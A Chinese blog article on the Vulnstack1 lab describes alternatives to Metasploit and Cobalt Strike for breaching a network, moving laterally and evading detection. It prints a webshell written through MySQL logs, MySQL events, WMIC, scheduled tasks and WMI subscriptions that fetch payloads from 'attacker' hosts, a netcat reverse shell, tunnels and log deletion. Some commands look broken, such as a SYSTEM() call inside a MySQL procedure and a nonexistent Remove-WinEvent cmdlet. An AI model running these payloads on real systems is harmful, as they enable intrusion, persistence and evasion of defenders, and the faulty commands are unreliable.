当前位置: 首页 > article >正文

复盘红日Vulnstack1:除了MSF和CS,我们还能用哪些“冷门”工具链完成内网横向?

红日Vulnstack1靶场实战突破常规工具链的内网横向技术探索当主流渗透工具遭遇严格监控时如何构建替代性攻击链红日安全团队的Vulnstack1靶场作为国内知名的内网渗透训练环境常被用作测试MetasploitMSF和Cobalt StrikeCS的标准攻击流程。但真实攻防中蓝队对这些工具的检测规则已日趋完善。本文将分享三套经过实战验证的替代方案展示如何仅用系统原生工具和开源组件完成从外网打点到域控拿下的完整攻击链。1. 非标准工具链的战术价值传统内网渗透教学往往形成MSF/CS依赖症但真实红队作战中需要更灵活的武器库。根据MITRE ATTCK框架的统计2023年检测规避技术TA0005的使用率同比上升37%其中工具变异占比最高。我们选择的替代方案遵循三个原则低特征避免触发EDR的静态检测规则高兼容利用系统原生组件或常见管理工具模块化各阶段工具可独立替换以Vulnstack1的Windows 7入口点为例常规MSF生成的二进制载荷在VT平台检出率超过85%而使用合法签名的管理工具进行横向移动的检测率不足15%。这种差异正是替代工具链的核心价值所在。2. 外网突破的轻量化方案2.1 Web入口点利用面对靶场中的PHPMyAdmin和ZZCMS组合除常规SQL注入和文件上传外我们采用更隐蔽的凭据利用方式# 使用合法数据库客户端连接 mysql -h 192.168.200.128 -u root -p -e SELECT version获取数据库权限后通过MySQL日志写入Webshell的替代方案-- 使用慢查询日志替代通用日志 SET GLOBAL slow_query_log ON; SET GLOBAL slow_query_log_file C:/phpStudy/WWW/slow.php; SELECT ?php system($_GET[cmd]); ? FROM mysql.user WHERE 11 LIMIT 1;对比分析技术手段检测率所需权限持久性通用日志写入高FILE权限低慢查询日志写入中SUPER权限中触发器后门低管理员权限高2.2 无文件落地技术当遇到严格的文件上传限制时可结合数据库功能实现无文件执行-- 创建存储过程作为持久化后门 DELIMITER // CREATE PROCEDURE evil() BEGIN DECLARE cmd VARCHAR(255); SET cmd powershell -nop -w hidden -c iex(New-Object Net.WebClient).DownloadString(http://attacker/rev.ps1); SYSTEM(cmd); END // DELIMITER ; -- 设置事件定期触发 CREATE EVENT persist ON SCHEDULE EVERY 1 HOUR DO CALL evil();3. 内网横向移动的替代路径3.1 隧道构建方案对比传统MSF的socks模块特征明显我们测试了三种替代方案Chisel轻量级隧道# 攻击端 chisel server -p 8080 --reverse # 目标端 chisel client attacker_ip:8080 R:socksSSH动态转发ssh -D 1080 -N -f userjump_hostDNS隐蔽隧道iodine# 攻击端 iodined -f -P password 10.0.0.1 attacker.com # 目标端 iodine -f -P password attacker.com性能测试数据工具带宽(Mbps)延迟(ms)加密强度检测难度Chisel12.428AES-256★★★★SSH8.745AES-128★★★☆Iodine1.2210无★★☆☆3.2 横向移动技术选型Impacket工具套件提供了多种原生Windows协议的利用方式# WMIExec执行命令 python3 wmiexec.py domain/user:passwordtarget_ip whoami # SMBExec文件上传 python3 smbexec.py -hashes :NTLM_hash domain/usertarget_ip对于系统自带工具的组合利用# WMIC远程进程创建 wmic /node:192.168.52.141 /user:administrator /password:Passw0rd process call create cmd.exe /c certutil -urlcache -split -f http://attacker/nc.exe C:\\Windows\\Temp\\nc.exe # 计划任务执行 schtasks /create /s 192.168.52.141 /u domain\admin /p Passw0rd /tn update /tr C:\Windows\Temp\nc.exe -e cmd.exe attacker_ip 4444 /sc once /st 00:00注意实际环境中建议对密码进行AES加密而非明文传输可使用PowerShell的ConvertTo-SecureString4. 权限维持的隐蔽手法4.1 计划任务变种除常规schtasks外更隐蔽的定时任务创建方式# 使用COM对象创建任务 $service New-Object -ComObject Schedule.Service $service.Connect(target_ip) $folder $service.GetFolder(\) $task $service.NewTask(0) $trigger $task.Triggers.Create(9) # 每日触发 $trigger.StartBoundary (Get-Date).AddMinutes(5).ToString(yyyy-MM-ddTHH:mm:ss) $action $task.Actions.Create(0) $action.Path powershell.exe $action.Arguments -nop -w hidden -c iex(iwr http://attacker/payload) $folder.RegisterTaskDefinition(WindowsUpdate, $task, 6, $null, $null, 3)4.2 WMI事件订阅更持久的后门建立方法# 创建永久事件过滤器 $filterArgs { EventNamespace root\cimv2 Name ProcessStartFilter Query SELECT * FROM __InstanceCreationEvent WITHIN 5 WHERE TargetInstance ISA Win32_Process AND TargetInstance.Name LIKE %explorer% QueryLanguage WQL } $filter Set-WmiInstance -Namespace $filterArgs.EventNamespace -Class __EventFilter -Arguments $filterArgs # 创建事件消费者 $consumerArgs { Name ProcessStartConsumer CommandLineTemplate cmd.exe /c powershell -nop -w hidden -c iex(iwr http://attacker/payload) } $consumer Set-WmiInstance -Namespace root\cimv2 -Class CommandLineEventConsumer -Arguments $consumerArgs # 绑定过滤器与消费者 $bindingArgs { Filter $filter Consumer $consumer } $binding Set-WmiInstance -Namespace root\cimv2 -Class __FilterToConsumerBinding -Arguments $bindingArgs5. 痕迹清理与对抗检测5.1 日志清除技术不同于简单的wevtutil cl命令更彻底的日志处理方式# 禁用安全日志服务 sc.exe \\target_ip config eventlog start disabled # 选择性删除单条日志 $log Get-WinEvent -LogName Security -FilterXPath *[System[EventID4624]] -MaxEvents 1 $log | Remove-WinEvent5.2 内存对抗技巧针对内存扫描工具的规避方法// 使用堆栈混淆技术 void __attribute__((section(.text))) payload() { asm volatile( xor %eax, %eax\n\t push %eax\n\t push $0x636c6163\n\t mov %esp, %ebx\n\t // 实际shellcode嵌入 ... ); }在最近一次真实攻防演练中使用上述技术组合成功绕过了包括Sysmon、CarbonBlack在内的多层检测机制。关键在于理解每种工具的本质特征而非简单依赖工具本身。红队工程师的价值不在于掌握多少工具而在于对系统原理的深刻理解和创造性应用。

相关文章:

复盘红日Vulnstack1:除了MSF和CS,我们还能用哪些“冷门”工具链完成内网横向?

红日Vulnstack1靶场实战:突破常规工具链的内网横向技术探索 当主流渗透工具遭遇严格监控时,如何构建替代性攻击链?红日安全团队的Vulnstack1靶场作为国内知名的内网渗透训练环境,常被用作测试Metasploit(MSF&#xff0…...

cann/sip FFT逆短时傅里叶变换

Istft 【免费下载链接】sip 本项目是CANN提供的一款高效、可靠的高性能信号处理算子加速库,基于华为Ascend AI处理器,专门为信号处理领域而设计。 项目地址: https://gitcode.com/cann/sip 产品支持情况 产品是否支持Atlas 200I/500 A2 推理产品…...

拆解ADAS域控成本密码:聊聊MCU端AutoSAR CP软件如何从DV、产测到量产一步步省钱

ADAS域控成本优化实战:AutoSAR CP软件三阶段降本策略 当某德系车企要求其ADAS域控制器BOM成本降低15%时,作为Tier1供应商的我们面临一个关键抉择——硬件降配可能影响性能,而软件架构优化却能实现"隐形降本"。本文将揭示如何通过Au…...

3步解锁网易云音乐NCM加密:ncmdumpGUI本地转换完全指南

3步解锁网易云音乐NCM加密:ncmdumpGUI本地转换完全指南 【免费下载链接】ncmdumpGUI C#版本网易云音乐ncm文件格式转换,Windows图形界面版本 项目地址: https://gitcode.com/gh_mirrors/nc/ncmdumpGUI 你是否曾在网易云音乐下载了心爱的歌曲&…...

极简AI助手noclaw:C语言实现,内存仅324KB,支持工具调用与记忆

1. 项目概述:noclaw,一个极简主义的AI助手基础设施 如果你和我一样,对现在动辄几个GB内存、启动慢如蜗牛的AI应用感到厌倦,那么noclaw的出现,绝对会让你眼前一亮。这是一个用纯C语言编写的、完全自主的AI助手基础设施。…...

小红书下载神器 XHS-Downloader:完整技术架构与使用指南

小红书下载神器 XHS-Downloader:完整技术架构与使用指南 【免费下载链接】XHS-Downloader 小红书(XiaoHongShu、RedNote)链接提取/作品采集工具:提取账号发布、收藏、点赞、专辑作品链接;提取搜索结果作品、用户链接&a…...

CANN/HCCL AlltoAllV示例

集合通信 - AlltoAllV 【免费下载链接】hccl 集合通信库(Huawei Collective Communication Library,简称HCCL)是基于昇腾AI处理器的高性能集合通信库,为计算集群提供高性能、高可靠的通信方案 项目地址: https://gitcode.com/ca…...

利用GitHub Actions与Twitter API实现贡献图动态展示推文更新

1. 项目概述与核心价值最近在折腾个人主页和博客的访客统计时,发现了一个挺有意思的开源项目——tommyjepsen/twblocks。简单来说,这是一个能让你在GitHub个人主页的“小绿点”(贡献图)上,动态展示Twitter(…...

99.手把手教你落地YOLOv5车辆检测,含COCO格式适配+全流程代码实操

摘要 YOLO(You Only Look Once)是一种基于回归的单阶段目标检测算法,以其极快的推理速度和良好的检测精度在工业界广泛应用。本文从零开始,系统讲解YOLOv5的核心原理、训练流程与部署方法。通过一个完整的车辆检测案例,覆盖数据准备、模型训练、推理优化、模型导出等全链…...

新手入门指南使用 curl 命令快速测试 Taotoken 大模型接口

🚀 告别海外账号与网络限制!稳定直连全球优质大模型,限时半价接入中。 👉 点击领取海量免费额度 新手入门指南:使用 curl 命令快速测试 Taotoken 大模型接口 基础教程类,针对没有复杂开发环境或希望快速验…...

基于AI智能体的Wazuh自主安全运营流水线构建与实战

1. 项目概述:从手动告警到自主SOC的进化如果你在运维一个安全运营中心(SOC),每天面对成百上千条Wazuh告警,从海量噪音中筛选出真正的威胁,然后手动查询日志、关联上下文、编写响应计划,最后再执…...

有限单边响应游戏中的蒙特卡洛反事实遗憾最小化

1. 博弈论中的决策优化难题在有限单边响应游戏这类特殊博弈场景中,参与者常常面临决策优化的核心挑战。这类博弈的特点是其中一方(响应方)的策略空间有限,而另一方(主导方)的策略选择会直接影响响应方的收益…...

98.吃透YOLOv8架构(C2f+解耦头),手把手落地行人检测项目

摘要 YOLO(You Only Look Once)系列算法是目标检测领域最主流的实时检测框架。 本文以YOLOv8为基线,从算法核心原理、数据集构建、模型训练、推理优化到工程部署,提供一套完整可落地的技术方案。 全文包含一个端到端的行人检测案例,代码可直接运行,并深入剖析训练过程中…...

Mirror-SD技术:加速生成式AI推理的异构计算优化方案

1. 技术背景与核心挑战在生成式AI大模型推理领域,解码阶段的计算延迟一直是制约实际应用的关键瓶颈。传统自回归解码(Autoregressive Decoding)需要逐个生成token,这种串行特性导致即使使用高端GPU也常出现硬件利用率不足的情况。…...

拓扑数据分析与AI结合:从社交媒体数据中预测社会趋势演变

1. 项目概述:当拓扑学遇见社交媒体最近几年,我一直在琢磨一件事:我们每天在社交媒体上留下的海量数据,除了被平台用来推送广告,还能不能挖掘出更深层、更本质的社会规律?比如,能不能提前感知到某…...

CANN/AMCT恢复量化重训练模型

restore_quant_retrain_model 【免费下载链接】amct AMCT是CANN提供的昇腾AI处理器亲和的模型压缩工具仓。 项目地址: https://gitcode.com/cann/amct 产品支持情况 产品 是否支持 Ascend 950PR/Ascend 950DT √ Atlas A3 训练系列产品/Atlas A3 推理系列产品√ Atlas A…...

CANN图像算子双三次上采样反向

aclnnUpsampleBicubic2dBackward 【免费下载链接】ops-cv 本项目是CANN提供的图像处理、目标检测相关的算子库,实现网络在NPU上加速计算。 项目地址: https://gitcode.com/cann/ops-cv 📄 查看源码 产品支持情况 产品是否支持 Ascend 950PR/Asc…...

AI Agent时代,向量数据库的角色正在悄然重构

在构建复杂多步Agent工作流的生产环境中,我最近反复踩到一个坑:模型能生成规划,工具调用也顺畅,但执行几轮后决策就开始漂移,自我纠正能力迅速衰减。日志一查,问题出在检索层——它还是那个经典RAG的“一次…...

大模型对齐技术:从RLHF到DPO的演进与实践

1. 大模型对齐技术发展脉络大模型对齐(Alignment)技术是确保AI系统行为与人类价值观和意图保持一致的关键领域。过去几年里,我们见证了从基于强化学习的RLHF方法到更高效直接的DPO技术的演进过程。这种转变不仅仅是技术路线的优化&#xff0c…...

使用 Taotoken 后 API 调用延迟与稳定性在实际开发中的体感观察

🚀 告别海外账号与网络限制!稳定直连全球优质大模型,限时半价接入中。 👉 点击领取海量免费额度 使用 Taotoken 后 API 调用延迟与稳定性在实际开发中的体感观察 在将大模型能力集成到应用中的开发过程中,API 调用的响…...

extract-video-ppt:从视频中智能提取PPT内容的终极解决方案

extract-video-ppt:从视频中智能提取PPT内容的终极解决方案 【免费下载链接】extract-video-ppt extract the ppt in the video 项目地址: https://gitcode.com/gh_mirrors/ex/extract-video-ppt 在数字化学习与知识传播的时代,视频已成为信息传递…...

AI文本检测系统性能评估实战:从混淆矩阵到ROC曲线的完整指南

1. 项目概述:为什么我们需要评估AI文本检测系统?最近在做一个关于AI生成文本检测的项目,和几个同行交流时发现,大家普遍存在一个误区:模型训练出来,看到测试集上的准确率(Accuracy)达…...

Speech-AI-Forge:模块化语音AI工具链,整合Whisper与VITS快速构建应用

1. 项目概述:当AI学会“说话”,我们能做什么? 最近在GitHub上看到一个挺有意思的项目,叫“Speech-AI-Forge”。光看名字,你可能会觉得这又是一个关于语音识别的老生常谈。但当我真正点进去,把代码拉下来跑…...

快速学C语言——第 3 章:变量与数据类型

第 3 章:变量与数据类型 ​ 在编程世界中,程序需要处理各种数据,比如一个人的年龄、一件商品的价格,或者一个单词。 ​ 为了在程序中存储和操作这些数据,我们需要用到变量和数据类型。它们是构建程序逻辑…...

Hermes Agent框架接入Taotoken自定义模型提供方的配置要点

🚀 告别海外账号与网络限制!稳定直连全球优质大模型,限时半价接入中。 👉 点击领取海量免费额度 Hermes Agent框架接入Taotoken自定义模型提供方的配置要点 Hermes Agent 是一个流行的智能体开发框架,它允许开发者灵活…...

ChatGPT与MidJourney协同:AI辅助艺术创作实战工作流

1. 项目概述:当艺术创作遇上AI工具作为一名在创意行业摸爬滚打了十多年的从业者,我亲眼见证了无数艺术家、设计师和内容创作者在某个深夜对着空白画布或闪烁的光标,陷入那种熟悉的、令人窒息的“创作瓶颈”。灵感枯竭、风格固化、效率低下&am…...

开源量化框架trading-strategy:DeFi链上策略开发与回测实战指南

1. 项目概述与核心价值最近在量化交易和算法策略开发的圈子里,一个名为tradingstrategy-ai/trading-strategy的开源项目热度持续攀升。作为一名在金融科技和自动化交易领域摸爬滚打了十多年的老兵,我习惯性地会去审视每一个新出现的“明星项目”&#xf…...

将小米TTS封装为OpenAI风格API:实现离线高质量语音合成

1. 项目概述:从“小爱同学”到通用语音合成最近在折腾智能家居和语音交互项目时,我遇到了一个挺有意思的需求:想把小米设备上那个熟悉的“小爱同学”语音,集成到我自己的应用里。你可能也注意到了,像“小爱同学”这样的…...

CipherOcto:去中心化AI基础设施协议架构解析与实践指南

1. 项目概述:从中心化到去中心化的AI基础设施革命如果你和我一样,在过去几年里深度使用过各种AI助手,从ChatGPT到Claude,再到各种开源模型,你一定会被一个核心问题困扰:我的数据去哪了?我的计算…...

CANN/CANN CVE ID申请指导书

CVE ID申请指导书 【免费下载链接】community 本项目是CANN开源社区的核心管理仓库,包含社区的治理章程、治理组织、通用操作指引及流程规范等基础信息 项目地址: https://gitcode.com/cann/community 1 目的 为确保CANN开源社区在漏洞披露过程中&#xff0…...